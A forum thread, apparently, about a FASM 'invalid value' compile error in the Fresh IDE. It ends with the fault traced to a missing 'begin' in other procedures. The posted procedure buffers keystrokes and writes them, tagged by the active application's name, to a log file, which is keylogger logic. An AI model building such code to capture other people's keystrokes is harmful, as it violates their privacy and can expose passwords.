I'm getting an invalid value error when i try to compile a program with fresh. This is the procedure where the error is.

Code:

 
proc ProcessKeys, wParam, lParam
     .nBytes dd ?
     begin

     push    esi
     push    edi

     mov     eax, [wParam]
     mov     edx, [memPtr]
     mov     ecx, [bufferPos]
     mov     byte [edx + ecx], al
     inc     [bufferPos]
     cmp     [bufferPos], 20
     jb      .buffer_not_full ;line that cases invalid value error 

     stdcall OpenLogFile, testFile
     lea     esi, [.nBytes]

     ; Determine if keys are being written
     ; to the same application

     invoke  lstrcmp, prevApp, [curApp]
     jz      .write_keystrokes

     ; write appname to file

     invoke  lstrlen, [curApp]
     invoke  WriteFile, [fileHandle], crLf, 2, esi, 0
     invoke  lstrlen, [curApp]
     invoke  WriteFile, [fileHandle], [curApp], eax, esi, 0
     invoke  WriteFile, [fileHandle], crLf, 2, esi, 0

 .write_keystrokes:
     invoke  WriteFile, [fileHandle], [memPtr], 20, esi, 0
     invoke  CloseHandle, [fileHandle]
     invoke  lstrcpy, prevApp, [curApp]
     mov     [bufferPos], 0
 .buffer_not_full:
     pop     edi
     pop     esi
     return
endp

The code compiles with fasmw. Anyone have any idea why its not compiling?

can you attach whole program so we could try to compile it?

Code:

 
     mov     eax, [.wParam]

Maybe the new fresh includes? Arguments are dotted as local variables. Fasm includes are still in the old manner.

Yea, arguments have to be dotted. But the error message "invalid value" looks strange.
What is the type of the file: .asm or .frm?
There is small bug in the .frm files editor that causes wrong line positioning on error.
What exactly is the error message?

Regards.

The source type is asm not frm. I tried prefixing wParam with the dot character but that didn't help. I didn't think that was the problem because if it were the other procedures would have produced errors also and from a glimpse at the fresh source code I see that the procedures are defined the same way as mine without the dot.

The exact error message is this.

Code:

 
Error:invalid value <<jb .buffer_not_full>> processmessages.asm[36]

Definition of the argument in the "proc" statement have to be without dot, but when you are using this argument in the procedure, you MUST use it with dot. (for the latest version of stdcallex.inc) Simply the macro "proc" adds this dot for you at the front of every argument.

Here is small example:

Code:

proc ProcessKeys, wParam, lParam ; it is right...
begin
......
    mov   eax, [.wParam]    ; this is right to...
    mov   eax, [wParam]     ; this is wrong...
.........
endp

Regards.

I've added the dot to all function parameters but I am still getting the same error. I am using fresh1_0_1c.

Change it. It is too old (and probably buggy and with old version of FASM inside). Actually, I will remove it from the site very soon, because of comming the next stable version. If you are using 1.0.1c - your code is OK. Forget about dots - it is for latest versions.

I decided to try to current work version but i get the same error. I've attached the project directory so maybe you can try compiling it.

Very strange...
Removing 'jb ...' line causes error on 'jz ...' line. Some jumps bug?

Ah, I found it. Smile

Missing "begin" in the both: AddIconToSysTray and CreateMenus procedures.
After that you will have to fix dots on many places on procedure arguments, but this is easy. Smile
